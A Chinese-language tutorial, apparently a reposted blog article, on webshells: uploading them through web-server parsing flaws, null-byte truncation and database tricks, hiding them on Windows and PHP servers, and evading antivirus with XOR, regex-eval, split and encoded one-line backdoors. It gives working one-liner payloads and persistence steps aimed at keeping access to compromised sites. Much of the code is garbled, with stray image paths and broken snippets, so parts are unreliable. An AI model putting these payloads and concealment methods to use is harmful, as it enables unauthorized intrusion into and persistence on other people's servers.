一、什麼是webshell
- webshell簡介
webshell,顧名思義:web指的是在web伺服器上,而shell是用腳本語言編寫的腳本程序,webshell就是web的一個管理工具,可以對web伺服器進行操作的權限,也叫webadmin。 webshell一般是被網站管理員用於網站管理、伺服器管理等等一些用途,但是由於webshell的功能比較強大,可以上傳下載文件,查看資料庫,甚至可以調用一些伺服器上系統的相關命令(例如創建用戶,修改刪除檔案之類的),通常被駭客利用,駭客透過一些上傳方式,將自己編寫的webshell上傳到web伺服器的頁面的目錄下,然後透過頁面存取的形式進行入侵,或者透過插入一句話連接本地的一些相關工具直接對伺服器進行入侵操作。
- webshell的分類
webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基於.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態網頁,當然也有與之相關的webshell。
根據功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:通常把這句話寫入一個文檔裡面,然後文件名改成xx.asp。然後傳到伺服器上面。這裡eval方法將 request(“pass”)轉換成程式碼執行,request函數的作用是應用外部檔案。這相當於一句話木馬的客戶端配置。伺服器設定(即本機設定):
Default
1 25 9 10 11 12 13 14 15 16 17 18 //主機路徑/TEXT.asp method=post >
| name= value 或
45>
set lP= lP.Open//打開=
lP .CharSet="gb2312"//字體標準
lP.SaveToFile server.mappath("newmm.asp"),2///將木馬內容以覆蓋檔案的方式是已覆蓋檔案的方式,newmmm.方式
lP.lP. lP =nothing//釋放物件 response. redirect"newmm.asp /textarea> textarea name= newvalue cols=120rows=10
/textarea>🜎 center>br >
input type=submit value=提交
這裡透過提交表單的方式,將木馬提交上去,具體的做法是將定義一個物件IP,然後以文字方式寫入newvalue裡面的內容(newvalue的內容在textarea定義),寫入以覆蓋的方式產生ASP文件,然後執行這個腳本。其中客戶端中的value代表的是表單的名字,必須跟服務端(本機)的post提交中的表單名一樣,所以這裡的value可以為任意字符,相當於一個密碼之類的東西,但是這個'密碼'是明文的,可以截取下來。 PHP的一句話原理跟以上的原理差不多,就是語言的差異導致語法不同。這就是小馬的基本運作原理。
大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞將大馬上傳,然後復制該大馬的url位址直接訪問,在頁面上執行對web伺服器的滲透工作。但有些網站對上傳檔案做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,但是小馬的體積可以控制(例如把程式碼複製很多遍,或是在一個亂碼檔案中夾入程式碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然後透過小馬的連線上傳大馬拿到伺服器。
二、如何上傳webshell
1.解析漏洞上傳
現在對於不同的web伺服器系統對應的有不同的web服務端程序,windows端主流的有iis,linux端主流的有nginx。這些服務對搭建web伺服器提供了很大的幫助,同樣也對伺服器帶來隱患,這些伺服器上都存在一些漏洞,很容易被駭客利用。 (1)iis目錄解析漏洞
比如:/xx.asp/xx.jpg 雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當成xx.asp解析,這個漏洞存在於iis5.x/6.0版本。 (2)檔案解析漏洞
例如:xx.asp;.jpg。在網頁上傳的時候識別的是jpg文件,但是上傳之後iis不會解析;之後的字符,同樣會把該文件解析成asp文件,這個漏洞存在於iis5.x/6.0版本。
(3)檔名解析例如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都會被當成可執行文件,裡面的asp程式碼也同樣會執行。 (其中asa檔案是asp特有的設定文件,cer為憑證檔案)。 (4)fast-CGI解析漏洞
在web伺服器開啟fast-CGI的時候,上傳圖片xx.jpg。內容為:
Default
1
|
fputs(,' eval($_POST[shell])?>');>
這裡使用的fput建立一個shell.php文件,並寫入一句話。存取路徑xx.jpg/.php,就會在該路徑下產生一個一句話木馬 shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環境:PHP,prel,Bourne Shell,C等語言。
*註:fast-CGI是CGI的升級版,CGI指的是在伺服器上提供人機互動的接口,fast-CGI是一種常駐 型的CGI。因為CGI每次執行時候,都需要用fork啟用一個進程,但是fast-CGI屬於啟動後就一直執行,不需要每次請求都fork一個進程。比 普通的CGI佔的記憶體少。 (5)apache解析漏洞apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是後台上傳通常是看上傳文件的最右的一個後綴,所以根據這個,可以將馬命名為xx.php.rar,因為apache解析不了rar,所以將其解析為php,但是後台上傳點就將其解析為rar,這樣就繞過了上傳文件後綴限制 2.截斷上傳
在上傳圖片的時候,例如命名1.asp .jpg(asp後面有個空格),在上傳的時候,用NC或者burpsuite抓到表單,將上傳名asp後面加上%00(在burpsuite裡面可以直接編輯HEX值,空格的HEX值為20,將20改為00),如果HEX為00的時候表示截斷,20表示空格,如果表示截斷的時候就為無視腳本中的JPG驗證語句,直接上傳ASP。 3.後台資料庫備份
在一些企業的後台管理系統中,裡面有一項功能是備份資料庫(例如南方cms裡面就有備份資料庫的功能)。可以上傳一張圖片,圖片裡面含有一句話木馬,或者將大馬改成jpg格式,然後用資料庫備份功能,將這張圖片備份為asp等其他內容可以被解析為腳本語句的格式,然後再通過web訪問就可以執行木馬了,但是這種方法很老了,現在大多數的cms已經把這種備份的功能取消了,或者禁用了。 4.利用資料庫語句上傳
(1) mysql資料庫into outfile
這種方式的前提必須是該網站有相應的注入點,而且當前使用者必須要有上傳的權限,而且必須有當前網頁在伺服器下的絕對路徑。方法是用聯合查詢,將一句話木馬匯入到網站下邊的一個php檔案中去,然後使用服務端連接網站。但是上述方法條件過於苛刻,一般遇到的情況很少。 (2)建立新表寫入木馬一些開源cms或自製的webshell會有資料庫管理功能,在資料庫管理功能裡面有sql查詢功能,先使用create table shell(codetext);創建一個名字叫做shell的表,表裡面有列明叫做code,類型為text。然後使用insert into shell(code) values('一句話馬'),這裡講shell表中的code列賦值為一句話的馬,然後透過自訂備份,將該表備份為x.php;x然後就被解析成為php然後執行了,這裡不是x.php;x就一定能夠解析為php,不同的web伺服器上面的服務程式不同,然後過濾規則也不同,可能會使用其他的方式。 (3)phpMyadmin設定錯誤phpMyadmin用來管理網站資料庫的一個工具,其中config.inc.php為其配置文件,在查看的該文件的時候,如果$cfg['Servers'][$i ]['auth_type']參數的值設定沒有設定(預設為config)說明在登陸資料庫的時候沒有做對應的驗證,可以直接連入資料庫,而且在Mysql在一些版本下面預設登陸都是以root使用者進行登陸(即管理者),所以登陸進去為最大權限。但是 root一般只能本地登陸,所以必須創建一個遠端登陸使用者。用遠端登陸使用者登陸之後,建立一個表,然後再將一句話木馬寫入。 三、webshell的「安全」
1.關於webshell的隱藏
在上傳webshell的時候必須要進行webshell的隱藏工作。隱藏webshell,第一個目的是不讓網站管理員發現馬將其刪掉,第二個目的是為了不被其他的Hacker發現了這個檔案並加以利用。 (1)馬來西亞的隱藏
①不死殭屍
windows系統存在系統保留資料夾名,windows不允許用這些名字來命名資料夾保留資料夾:aux|prn|con|nul|com1|com2 |com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。 但這些可以使用windows的copy指令創建,例如:
Default
c:>copy3.asp.C
| file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.pc/User Tempmsohtmlclip11clip_image022.jpg 在c盤中建立一個aux.asp。這個檔案無法在影像介面下刪除。
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png
要刪除必須使用del指令。 file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png 刪除了之後是沒有提示的,但是檔案確實沒有了。 當然用這樣的方法雖然可以創建一個圖形介面無法刪除的webshell,但是如果直接放在網頁根目錄下,被有經驗的網管看到還是回刪除的。 ②clsid隱藏 windows每一個程式都有一個clsid,如果將一個資料夾命名為x.{程式clsid},然後輸入一下兩個指令: file:///C:UsersSAKAIYlip~1html. jpg 創建後
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png 點開進入的是控制面板,其實這樣一個帶有clsid的資料夾將其命名為對應的程式可以迷惑網路管理員的實現,例如進入回收站資料夾中建立這樣一個帶有回收站clsid的資料夾,在裡面再copy一個保留字asp,也可以使用 Default
attrib +h +s +r +d/s/d
1 attrib+ h
+s
+ r
+d
| /s
/ds/d 修改該檔案的屬性,將其隱藏,一般windows都是預設不顯示隱藏檔案的,而且回收站資料夾是自動建立的,這樣可以達到隱藏一個不死webshell到伺服器中去。 ③驅動隱藏技術原理是在於,在windows檔案系統中,開啟資料夾的時候系統會傳送一個IRP_MJ_DIRECTORY_CONTROL函數,這個函數可以分配一個緩衝區,將該資料夾下的子資料夾遍歷處理得到的資訊存放至緩衝區,在遍歷的時候,尋找匹配的文件名,如果文件名匹配,就繞過當前文件夾或者文件,對於繞過的原理,我查詢了下代碼,根據我的理解,它是根據將遍歷的指標在查詢到目標檔案的時候,加上該檔案的偏移量,不掃描目標資料夾,直接跳過。 對於這種技術的實施,雖然網上很多C的源碼,但是操作起來有一定的困難,因為頭文件的支持,還有系統的支持(不同系統的文件系統會不同),在網上查找到了Easy File Locker程序,需要將其安裝至web伺服器上,對目標檔案設定權限。 Default
|
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.p
file: ///C: UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
權限的設定有可讀accessable,可寫writable,可刪除deletable,可見visible。
Default
file :
///C: UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
|
上圖可以看到我們將其隱藏了,如前捲文所說,如歷上圖訪問我的理解是:
|
Default c:WINDOWSxlkfs.dat
c:WINDOWSxlkfs.dll
c:WINDOWSxlkfs.ini
c:WINDOWSsystem32driversxlkfs.sys
2
34
2
|
c:WINDOWSxlkfs.dll xlkfs.ini c:WINDOWS system32driversxlkfs. 這4個文件取代了遍歷查詢,要存取隱藏後的文件,輸入絕對路徑並不是應用絕對路徑查詢,而是透過上面4個文件進行的查詢,相當於給隱藏文件做了一個單獨的驅動。
為了不被管理員發現,可以將Easy FileLocker的程式刪除,但是不能刪除上述4個檔案。刪除程式後,輸入絕對路徑還是可以訪問,就達到了隱藏後門的作用
④註冊表隱藏註冊表路徑:HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedolderHiddenOWALLwarewareMicrosoftWindowsCurrentVersionexplorer\Adv修改為0,如果沒有CheckValue這個key直接建立一個,將他賦值為0,然後建立的隱藏檔案就徹底隱藏了,即時在資料夾選項下把「顯示所有檔案」也不能顯示了。 (2)一句話木馬的隱藏①頭文件包含隱藏在web裡面的一些腳本文件中,有些文件裡面有包含語句,可以利用這種包含方法包含一句話文件,在訪問這個頁會直接調用這些一句話。 asp包含語句:,直接填入路徑,檔案路徑是web伺服器上的路徑。 可以使用站長住手將一句話的NTFS流小馬寫入圖片裡面,將路徑的‘’改‘:’寫入之後圖片是顯示不了的,然後找
到web伺服器上的一個asp文件,在文件的開始部分寫上include語句,php包含語句:Default
|
php include ($include ); ?>
這裡的$include可以是外部路徑例如:
http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
這個aaa上的1.php內容為
Default
phpinclude( $include
);?>
|
,表示包含。 bbb是外部伺服器的,前提是這個伺服器不能支援PHP。否則將會在bbb這個伺服器上執行hehe.php(即一句話馬),而aaa不執行。
②配置文件隱藏一句話(PHP)
在拿到PHP的webshell之後,可以利用php.ini隱藏文件,編輯配置文件,其中一個項目功能是將某一個文件的內容添加到任意界面的頁眉頁腳: auto_prepend_file =hehe.php 然後看 include_path = "E:PHPnow-1.5.6htdocs;」include_path = "E:PHPnow-1.5.6htdocs;」include_path = "E:PHPnow-1.5.6htdocs;」 include_path = "E:PHPnow-1.5.6htdocs;」include_path = "E:PHPnow"path.5.6htdocs;規則是”path1;path2″,表示將path1路徑的文件夾下的頁眉頁腳文件添加到path中的文件中去,因為這裡是一個'.'表示根路徑,這裡就相當於添加到了主頁上面去了,然後hehe.asp檔裡面寫上一句話,就可以透過php加入頁首的共能,將一句話寫入網站首頁。 ③404小馬 404小馬在訪問的時候顯示出來一個404頁面不存在的頁面,但是實際上木馬代碼已經執行,一般都是按5次shift可以將它調用出來。 四、關於webshell的免殺一句話免殺 1.構造法繞過檢測(PHP) 一般的檢測程序會過濾這樣”_POST”,”system”,”call_user_func_array”這樣的字符,這個時候可以用構造法繞過一些檢測程序,基本原理是,php每一個字符都對應了一個二進制的值,可以採用異或的方式,讓馬中的一個字符用兩個字符異或後的值來代替。 例如像一下程式碼
Default
| ; $__
=("#" ^"|"); // _
$__= // P $__=( "/"^"`"); $__=( "|"^"/") ; /// =("{"^"/") ; //T
然後構造與一句話可以寫為
Default
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/ "); // $__的值為_POST
@${$__}[!$_](${$__}[$_]);?>
|
3
1231231
2 php@$_++;$__=("#"$__ "~").("/"^"`").("|"^"/").. "); // $__的值為_POST
@${$__}[!$_](${ // 結果為 |
@$_POST[0]($POST[1])
!$_表示1的相反,在語言裡面1代表真,反過來就是0(假) 但是這樣的繞過方法相當弱,仔細想一下,就算是兩個字符的二進制值異或,但是我們要用某個字符,還是應用那個字符的值,比如
Default $__=("#"^"|").("."^"~" ).("/"^"`").("|"^"/").("{"^"/")
1 = ( "#"
^"|"). (
"."^"~"
| ). (
^"~").( .("|"^"/").("{"^"/") 還是被檢測到2.正規表示式代替法(PHP)php中有一個函數preg_replace()函數,這個函數可以實現正規表示式的替換工作。用替換繞過偵測系統還需要php腳本語言裡面的一個函數特性,函數在呼叫的時候,如果函數裡面的形參賦的值裡面有指令,就會執行這個指令。 Default
(.+?)/ies",'funfunc("1")', $_POST["cmd"]);
?> |
1 2
3 4
? funfunc($str) {}
|
上述程式碼就是替代的一個過程,先建立一個空函數,然後使用preg_replace函數取代表單cmd中的 (這裡是html裡面表示主題)為funfunc,將postpost中的值寫成
{${phpinfo()}}
(當然這裡的phpinfo()可以換成其他的指令),透過置換,就會變成 funfunc({${phpinfo()}}) 由於${}可以解析{}中的內容,所以這裡的phpinfo就可以順利執行了。 3.即時生成法(PHP)
在使用頭文件包含的時候,所包含頭文件php很容易被掃描器掃描到,這時候可以使用file_put_content創建一個文件,裡面寫如php的一句話馬。在訪問之前先生成馬,但是這個函數比較敏感,很容易被殺。 4.迴避法(asp)
因為有的asp伺服器為了防止一句話馬,會過濾,可以使用:
Default=gu server>execute request("cmd")
1
>V
| execute request (
"cmd")/Script> 功能相同,就是換個形式。 迴避特定腳本語言:aspx一句話Default
|
| =y
aaaaa=newWebAdmin2Y.x.y("
这里使用C#语言写一句话马。 5.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。 还有拆分法加强版:
Default
|
<%IfRequest("MH")<>""ThenExecute(Request("MH"))%>
<%ifrequest("MH")<>""thensession("MH")=request("MH"):endif:ifsession("MH")<>""thenexecutesession("MH")%>
|
以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。 6.乱码变形(ANSI->Unicode加密)
Default
1
|
<%evalrequest("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
|
Default
1
|
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
|
上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为
Default
1
|
<%eval(eval(request("brute"))%>
|
7.馬來西亞免殺
(1)base4code編碼
大馬的免殺可以通過將馬來西亞的代碼進行壓縮,壓縮之後在進行base4的加密算法,然後在大馬的末尾新增
Default
1
@
eval(gzinflate
| (base64_decode (
$code)));
就可以執行腳本了。其中,$code變數是用來存放base4的code碼,執行的時候先gzinflate解壓,在eval執行。其實這種不能真正意義上的免殺,以為base4code和eval還是回被列入特徵碼行列,在過掃描器的時候同樣會被殺掉。 (2)ROT13編碼(php)
str_rot13是php用來編碼的一個函數。可以利用它來編碼腳本程式碼來繞過特徵碼的偵測,例如。 file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png 圖中的strrev函數是用來反轉字符,為了逃過特徵碼的檢測,還特地將字符隔開。’ 圖中3個str_rot13所加密的字元依序是 gzinflate,str_rot13,base64_decode,相當於三重加密,而且也迴避了gzinflate,base64_decode這 兩個特徵碼。但沒有迴避str_rot13。有可能有的殺軟會將str_rot13也當作特徵碼。 ROT13成為迴轉13,就是講當前字元在字母表中的位置值減去13對應的字元加密。加密兩次就回到原來的數值了。但是由於演算法固定,加密的強度也不強。而且破解的方式極為簡單,只要再加密一邊就可以了。 (3)其他編碼
一般殺軟和掃描器都會用特徵碼來判斷是否有病毒,在對大馬或者小馬,一句話馬做免殺處理的時候,一般都會用php或者asp腳本中加密類別的函數來加密繞過掃描器(例如base4,rot13等),但是我覺得可以自己編寫加密演算法,然後使用自己編寫的加密演算法加密腳本程式碼就可以繞過一些特徵碼的。可以使用一些凱撒密碼,移位加密等加密手段的思想,寫一段加密演算法,然後將腳本程式碼進行加密,然後base4,rot3這樣的特徵碼就會消失,或者可以不那麼麻煩,直接用自製的加密演算法加密特徵碼,然後再使用的時候將其解密就行了。 還可以使用DES,RSA這樣的金鑰加密演算法也可以,一般的馬來西亞都會有一個密碼的登陸框,可以講登陸腳本的密碼跟解密金鑰連動起來,輸入正確的密碼後才能夠解析,一方面是為了逃過掃描器與殺軟的查殺,另一方便,這個大馬即使被別人拿到了,也無法解密,看到其中的源碼。 五、關於webshell的後門
一般網上下載的大馬或多或少的都會有後門,這些後門直接導致了我們拿的網站被別人順帶拿走了,所以在網上下載的大馬必須先檢查有沒有後門。 例如這裡的萬能密碼:
Default
|
if
session ("hehe")userpassthen
quest then
ifrequest.form("pass")=form("pass")=form("pass ="1111111" Then =userpasssresponse. redirect url
else
這裡
Default
request
.form (
| "pass") =
userpass驗證成功,但後面
|
Default orrequest.from(“pass”)=”1111111”
orrequest . from (“) =” 1111111”
| 1
11,也可以登入大馬。當然,這個地方不可能會這麼簡單,原作者完全可以把userpass賦值變成兩個,加上一個
userpass改變的觸發條件,在他登入的時候觸發這個條件(比如說如果登入失敗的時候將觸發userpass值的更新),這樣就可以增加一個後面,而
且觸發條件的程式碼與驗證程式碼分隔的較遠,也不好查找,這個時候就需要我們把大馬的程式碼逐行分析。
然後再用框架掛馬:Default
|
iframe src=後門位址 width= 0 height = = 0
|
這個地方將連結的位址寬度和高度全設定為0,就該頁就隱藏了。裡面的“後門地址”指向自己的腳本收信器,最後將收信腳本放到自己搭建的一個公網服務器上面,收信腳本如下:Default12345 3 |
4 url= Request . ServerVariables("HTTP_Referer")
. "Scripting.FileSystemObject" )
| .OpenTextFile (
. True)
. file.closesetfile =nothing
setfs=nothing
其中
Default
1
url
| =Request .
ServerVariables("HTTP_Referer") url地址保存到目前目錄的hehe.txt。 要提出這種後門首先必須先破壞馬來西亞第二種密碼驗證,即萬能密碼。刪除相關的功能代碼,然後再查找有沒有asp大馬頁面有沒有例如width=0 height=0這樣的隱藏url,查找出來刪除。
|
以上就介紹了Webshell實作與隱藏探究,包含了面向的內容,希望對PHP教學有興趣的朋友有幫助。
|
|
|
|
|
|
|
|